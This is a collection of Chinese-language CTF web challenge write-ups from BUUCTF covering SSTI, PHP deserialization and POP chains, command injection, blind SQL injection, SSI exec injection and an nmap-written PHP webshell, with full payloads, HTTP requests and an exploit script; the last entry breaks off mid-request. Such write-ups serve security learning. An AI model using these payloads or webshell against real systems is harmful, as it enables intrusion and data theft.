host = "file://suctf.c℆sr/local/nginx/conf/nginx.conf"
if host == 'suctf.cc':
    print("我扌 your problem? 111") 
parts = list(urlsplit("file://suctf.c℆sr/local/nginx/conf/nginx.conf"))
print("parts", parts)
host = parts[1]
if host == 'suctf.cc':
    print("我扌 your problem? 222 " + host)  
newhost = []
for h in host.split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
print('newhost', newhost)
print('parts', parts)
print("host", host)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
# print(parts)
print("finalUrl", finalUrl)
host = urlparse(finalUrl).hostname
print("host", host)
if host == 'suctf.cc':
    print("success")
else:
    print("我扌 your problem? 333")

References

https://www.codenong.com/cs109743728/

https://blog.csdn.net/qq_42812036/article/details/104291695

https://blog.csdn.net/qq_42181428/article/details/99741920

https://www.cnblogs.com/wangtanzhi/p/12181032.html

[0CTF 2016]piapiapia

打开网页,发现登陆页面,用dirsearch扫描:

python dirsearch.py -u http://af08cedd-14b0-4ad9-a066-ffc4837ac7b7.node3.buuoj.cn/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/mylist.txt

mylist.txt是我自己创建的扫描字典,扫描后发现www.zip,下载后查看index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

审计代码发现每一个php文件都会有if($_SESSION['username']),来检查当前是否登录,所以我们要在登陆后进行一系列操作,查看源文件发现注册页面,在浏览器访问注册页面,输入url:

/register.php

结合index.php里面的过滤规则:

if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

用符合规则的用户名密码注册。如用户名1234,密码1234。注册后页面显示:

Register OK!Please Login

点击超链接Please Login。跳转到/update.php页面,查看/update.php的源代码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

发现这里要提交POST请求。phoneemail都有严格的正则匹配。nickname的正则是匹配除了字母和数字和下划线外的所有字符,这里可以用数组绕过检查。

md5(Array()) = null
sha1(Array()) = null    
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null

检查profile.php源代码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

发现可以控制photo变量,实现任意文件读取。那我们就要找到flag文件路径,继续检查其他源代码,发现config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

发现这里有flag变量,虽然这里什么都没有,但服务器上这个config.php这个配置文件肯定的配置好的,只要读取config.php就会输出flag。所以我们只要把photo变量控制为config.php就可以了。找找看哪里可以修改photo的值,发现只有/update.php可以修改。阅读源代码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

当我们POST数据后,序列化后系统调用了update_profile函数,发现源代码文件一开始就包含require_once('class.php');了,说明update_profile函数在class.php文件里面。查看class.php文件里面的update_profile函数:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
}

发现函数逻辑是先调用了过滤函数filter,然后才调用update更新数据。查看filter函数:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
}

发现函数对我们传进来的序列化字符串里面的所有'select', 'insert', 'update', 'delete', 'where'都换成了hacker。我们知道序列化后的字符串,如果被替换,导致前后长度不一致,会导致序列化逃逸,五个单词只有wherehacker长度不一样,也就是说如果我们的序列化字符串一开始存在where后来被替换了,就可以实现序列化逃逸。例如我们传入参数,这里用本地运行模拟POST数据后的序列化字符串:

$profile['phone'] = '16515';
$profile['email'] = '16516';
$profile['nickname'][] = 'where";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'upload/' . md5('6546456');
print_r(serialize($profile));

输出:

a:4:{s:5:"phone";s:5:"16515";s:5:"email";s:5:"16516";s:8:"nickname";a:1:{i:0;s:39:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/3b4531574a3ce1a18acf558c509bd2c9";}

当这个序列化字符串被filter过滤后,where被替换成hacker,但s:39并没有变成s:40,这时hacker";}s:5:"photo";s:10:"config.php";}最后一个}在反序列化时就不会被当作nickname的一部分。如果我们用足够的where替换后把";}s:5:"photo";s:10:"config.php";}这一串全部挤出去,photo就会被被赋值为config.php,然后服务器数据库被更新数据。因为";}s:5:"photo";s:10:"config.php";}长度是34,所以我们需要34个where

$profile['phone'] = '16515';
$profile['email'] = '16516';
$profile['nickname'][] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'upload/' . md5('6546456');
print_r(serialize($profile));

输出:

a:4:{s:5:"phone";s:5:"16515";s:5:"email";s:5:"16516";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/3b4531574a3ce1a18acf558c509bd2c9";}

这个字符串反序列化后是:

array(4) {
  ["phone"]=>      
  string(5) "16515"
  ["email"]=>      
  string(5) "16516"
  ["nickname"]=>   
  array(1) {       
    [0]=>
    string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
  }
  ["photo"]=>
  string(39) "upload/3b4531574a3ce1a18acf558c509bd2c9"
}

where被替换成hacker后,反序列化结果为:

array(4) {
  ["phone"]=>
  string(5) "16515"
  ["email"]=>
  string(5) "16516"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  ["photo"]=>
  string(10) "config.php"
}

此时photo成功赋值为config.php。后面的

s:5:"photo";s:39:"upload/3b4531574a3ce1a18acf558c509bd2c9";}

被丢弃了。因此只要按照

$profile['phone'] = '16515';
$profile['email'] = '16516';
$profile['nickname'][] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'upload/' . md5('6546456');
print_r(serialize($profile));

就可以成功更新数据库。在update.php页面用Burp Suite拦截,构造POST请求:

POST /update.php HTTP/1.1
Host: 2f36cbc9-7f23-4f6e-9d7f-eba47ddd89fd.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary14s0JCyoBGszyn62
Cookie: PHPSESSID=27fbeeb24fddf182d273b2339d801a69
Content-Length: 665

------WebKitFormBoundary14s0JCyoBGszyn62
Content-Disposition: form-data; name="phone"

12345678901
------WebKitFormBoundary14s0JCyoBGszyn62
Content-Disposition: form-data; name="email"

1234@qq.com
------WebKitFormBoundary14s0JCyoBGszyn62
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundary14s0JCyoBGszyn62
Content-Disposition: form-data; name="photo"; filename="1234"

1234

------WebKitFormBoundary14s0JCyoBGszyn62--

注意nickname要用数组绕过。发送后,会提示数据更新成功,然后构造GET请求:

GET /profile.php HTTP/1.1
Host: 2f36cbc9-7f23-4f6e-9d7f-eba47ddd89fd.node3.buuoj.cn
Cookie: PHPSESSID=27fbeeb24fddf182d273b2339d801a69

注意cookie下面空两行。在响应里得到base64编码,解码后:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{8c967b44-c6c2-4204-9790-c7f4fc6c0d20}';
?>

得到flag。

References

https://blog.csdn.net/zz_Caleb/article/details/96777110

https://mayi077.gitee.io/2020/02/01/0CTF-2016-piapiapia/

https://my.oschina.net/u/4337224/blog/3356061

http://f0r4o3.net/2020/07/30/0CTF 2016 piapiapia/

https://frystal.github.io/2019/11/08/0CTF-2016-piapiapia/

https://www.cnblogs.com/20175211lyz/p/11444134.html

http://yqxiaojunjie.com/index.php/archives/171/

[WesternCTF2018]shrine

进入网页,按F12,发现flask源代码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

os.environ.pop()是弹出指定的环境变量。

References

https://www.cnblogs.com/Security-Darren/p/4179314.html

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAGconfig,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号。

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单里面的['config', 'self']遍历并设为空。

查看flask官方文档对<path:shrine>的解释:

通过把 URL 的一部分标记为 <variable_name> 就可以在 URL 中添加变量。标记的 部分会作为关键字参数传递给函数。通过使用 <converter:variable_name> ,可以选择性的加上一个转换器,为变量指定规则。请看下面的例子:

from markupsafe import escape

@app.route('/user/<username>')
def show_user_profile(username):
    # show the user profile for that user
    return 'User %s' % escape(username)

@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return 'Post %d' % post_id

@app.route('/path/<path:subpath>')
def show_subpath(subpath):
    # show the subpath after /path/
    return 'Subpath %s' % escape(subpath)

References

https://dormousehole.readthedocs.io/en/latest/quickstart.html#id7

输入url

/shrine/{{2 * 2}}

发现返回正确计算结果,说明存在模板注入。

输入url:

/shrine/{{url_for.__globals__}}

url_for其作用是将url用于构建指定函数的URL,再配合__globals__,该函数会以字典类型返回当前位置的全部全局变量。

References

https://www.jianshu.com/p/413a49db21f5

在网页回显中发现current_app变量,它记录了我们当前在哪个app,而我们要访问的就是当前app里面的config,所以输入url:

/shrine/{{url_for.__globals__['current_app'].config.FLAG}}

或者:

/shrine/{{url_for.__globals__.current_app.config.FLAG}}

url_for换成get_flashed_messages,也可以得到flag。

get_flashed_messages返回之前在Flask中通过flash()传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

References

https://zhuanlan.zhihu.com/p/93746437

https://www.cnblogs.com/wangtanzhi/p/12238779.html

[WUSTCTF2020]朴实无华

打开网页,发现hack me这样的挑衅语言,其他什么都没有,用dirsearch扫描:

python dirsearch.py -u http://b88f888e-4247-4b9c-bc92-01b7d5caff8a.node3.buuoj.cn/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/mylist.txt

mylist.txt是我自己创建的扫描字典,扫描后发现/robots.txt文件,访问/robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

发现flag文件是/fAke_f1agggg.php。用Burp Suite构造GET请求,访问/fAke_f1agggg.php

GET /fAke_f1agggg.php HTTP/1.1
Host: b88f888e-4247-4b9c-bc92-01b7d5caff8a.node3.buuoj.cn

响应为:

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 24 Apr 2021 16:56:56 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
Look_at_me: /fl4g.php
X-Powered-By: PHP/5.5.38

flag{this_is_not_flag}

发现/fl4g.php文件,访问/fl4g.php,出现乱码,用charset浏览器插件修改网页编码为utf-8,发现源代码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

str_ireplacestr_replace()的忽略大小写版本。

函数原型:

str_ireplace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed

该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换(忽略大小写)之后的结果。

php5.6运行:

<?php
var_dump(intval('0x1234')); # int(0)
var_dump(intval('0x1234'+1)); #int(4661)
?>

对于字符串intval会在非数字字符截断,返回非数字字符前面的数字,加上1后,会以16进制处理。或者使用科学计数法:

<?php
var_dump(intval('1e5')); # int(1)
var_dump(intval('1e5'+1)); #int(100001)
?>

对于md5弱类型比较,可以使用脚本:

import hashlib
md5 = hashlib.md5()
def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        md5.update(text.encode('utf-8'))
        m = md5.hexdigest()
        print(text, ' ', m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

References

https://blog.csdn.net/SopRomeo/article/details/106237931

运行后是:

0e215962017

第二个就可以绕过了。

!strstr($get_flag," ")说明不能出现空格,所以可以用$IFS$9或者%09代替空格,这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFSlinux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

首先查找flag在哪里,输入url:

/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls

发现flag文件是:

fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

cat可以用ca\t或者more绕过。

输入url:

/fl4g.php?num=1e5&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag。

References

https://www.cnblogs.com/h3ng/p/12976168.html

[SWPU2019]Web1

todo注入不了。

[网鼎杯 2020 朱雀组]Nmap

打开网页,发现提示要用nmap命令,参考之前做过的题:

[BUUCTF 2018]Online Tool]

尝试之前的命令:

' <?php @eval($_POST["password"]);?> -oG shell.php '

网页提示:hacker。说明有关键词被过滤。

方法一

尝试替换php为phml

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

或者:

' <? @eval($_POST["hack"]);?> -oG hack.phtml '

在正常PHP5中,支持如下4种PHP标签:

References

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

访问:

http://3978be0d-795e-4584-ade1-22c6014582a1.node3.buuoj.cn/hack.phml

发现访问成功,利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://3978be0d-795e-4584-ade1-22c6014582a1.node3.buuoj.cn/hack.phml
连接密码 hack
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST["hack"]一致。

连接后查看网站文件,在根目录发现flag。

References

https://www.cnblogs.com/h3ng/p/12989057.html

方法二

输入:

' -iL /flag -oN vege.txt '

访问:

http://3978be0d-795e-4584-ade1-22c6014582a1.node3.buuoj.cn/vege.txt

得到flag。

References

https://zhuanlan.zhihu.com/p/145906109

https://wgf4242.github.io/ctf/writeup/2020-网鼎杯朱雀组writeup.html#web-0x1-nmap

[MRCTF2020]PYWebsite

打开网页,发现要购买flag,先用dirsearch扫描:

python dirsearch.py -u http://node3.buuoj.cn:29832/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/mylist.txt

mylist.txt是我自己创建的扫描字典,扫描后发现flag.php,访问flag.php,网页提示:

拜托,我也是学过半小时网络安全的,你骗不了我!我已经把购买者的IP保存了,显然你没有购买。验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag,还不快去买。

提示说自己能看到,说明本地访问就可以看到,所以我们要在请求中加入X-Forwarded-For,在Burp Suite中构造请求:

GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:29832
X-Forwarded-For: 127.0.0.1

注意最后空两行,发送后得到flag。

References

https://www.cnblogs.com/h3ng/p/12899957.html

[极客大挑战 2019]FinalSQL

进入网站,发现提示:

大家好!我是练习时常两年半的,个人WEB程序员cl4y,我会php,PYTHON,mysql,SQL盲注

所以大概是要用SQL盲注。我们要找注入点。按照提示点五个点,但他说还有第六个点,修改此时的url:

/search.php?id=6

这应该就是注入点了。用二分算法python得到flag:

import re
import requests

url = "http://8ca9d6e1-3757-47ac-950d-0ab7df0f5935.node3.buuoj.cn/search.php"
def payload(i,j):
    # sql = "0^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)"%(i,j)                                  #数据库名字          
    # sql = "0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)"%(i,j)           #表名
    # sql = "0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)"%(i,j)        #列名
    sql = "0^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)"%(i,j)                                                           #flag
    data = {"id": sql}
    r = requests.get(url, params = data)
    if "Click" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    flag = ''
    for i in range(1,10000):
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        finalchar = (low + high + 1) // 2
        flag += chr(finalchar)
        if flag[-1] == '}':
            break
        print(flag)
exp()

这里用到了异或注入,0^1=1, 0^0=0。当id=10时,页面显示内容不一样,因此,如果

0^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d

返回1,说明异或号后面的语句返回1,判断查询结果的当前字符是否在这一半的范围里,然后缩小范围,最后找到这个字符,重复步骤,直至全部找到。

References

https://www.cnblogs.com/wangtanzhi/p/12305052.html

[NPUCTF2020]ReadlezPHP

按F12打开源代码,发现链接:

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>

访问链接:

/time.php?source

发现源代码:

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

发现序列化,构造payload:

<?php
class HelloPhp {
    public $a = "phpinfo()";
    public $b = "assert";
}
$a  = new HelloPhp();
echo serialize($a);
?>

assert函数:功能是判断一个表达式是否成立,返回true or false,重点是函数会执行此表达式。如果表达式为函数如assert(“echo(1)”),则会输出1,而如果为assert(“echo 1;”)则不会有输出。

输入url:

/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

phpinfo()页面搜索flag即可得到flag。

References

https://www.cnblogs.com/h3ng/p/12890693.html

[BJDCTF2020]EasySearch

用dirsearch扫描:

python dirsearch.py -u http://6cc91237-51e2-47fb-ad7c-a5d2cccebdc8.node3.buuoj.cn/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/mylist.txt

发现/index.php.swp,访问/index.php.swp

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

当密码的md5的前六位等于6d0bc1,登陆成功。

python脚本:

import hashlib
i = 0
while True:
    m = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if m[0:6] == '6d0bc1':
        print(i, " ", m)
        break
    i +=1

todo可能太慢了,多线程提高速度?

构造请求:

POST /index.php HTTP/1.1
Host: 6cc91237-51e2-47fb-ad7c-a5d2cccebdc8.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=123&password=2020666

发现响应头:

Url_is_here: public/05824f6f3fbef89116dee0e9a8da86e3330ab96b.shtml

访问此文件,提示:

Hello,123

data: Wednesday, 28-Apr-2021 15:02:31 UTC

Client IP: 172.16.128.254

没有什么发现,搜索shtml漏洞,发现<!--#exec cmd="命令"-->可以远程命令任意执行漏洞。

References

http://zone.secevery.com/article/1142

构造请求:

POST /index.php HTTP/1.1
Host: 6cc91237-51e2-47fb-ad7c-a5d2cccebdc8.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

username=<!--#exec cmd="find / -name flag*"-->&password=2020666

发现响应头:

Url_is_here: public/501795be0e8b58d9ad8c3047f5302a5844845344.shtml

访问此文件,找到flag文件:

/var/www/html/flag_990c66bf85a09c664f0b6741840499b2

构造请求:

POST /index.php HTTP/1.1
Host: 6cc91237-51e2-47fb-ad7c-a5d2cccebdc8.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

username=<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

再次访问响应头的文件,得到flag。

References

https://blog.csdn.net/SopRomeo/article/details/105225341

https://www.cnblogs.com/wangtanzhi/p/12354394.html

[MRCTF2020]Ezpop

打开网页,发现源代码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

魔术方法:

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用,访问不存在的属性或是受限的属性时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
_call() **//当调用一个对象中的不能用的方法的时候就会执行这个函数

References

https://www.jianshu.com/p/40ab1c531fcc

利用思路是

public function __get($key){
        $function = $this->p;
        return $function();
    }

如果p的值是Modifier,在return $function();时,就会触发__invoke

public function __toString(){
        return $this->str->source;
    }

如果str值是Test,调用不存在的变量source时,就会触发__get函数。

public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }

如果创建Show类时,传递的参数是Show类时,就会调用__toString

将以上过程逆过来,完整php代码:

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;        
    }
}

class Test{
    public $p;    
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

$var不能直接是flag.php,需要使用php://filter来读取编码,否则直接include相当于执行而已,看不到结果。

之所以需要url编码urlencode(serialize($b)),因为protected变量经反序列化后,变量名为:\x00*\x00存在不可见字符\x00,直接echo serialize($b)看不到\00。

将运行结果输入url:

/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

将网页返回的结果用base64解码,得到flag。

[NCTF2019]True XML cookbook

打开网页,发现是登录页面。随便输入用户名密码,用Burp Suite拦截:

POST /doLogin.php HTTP/1.1
Host: 9d784dd6-4cb7-49c5-b356-10eb8b80e9df.node3.buuoj.cn
Content-Length: 61
Accept: application/xml, text/xml, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
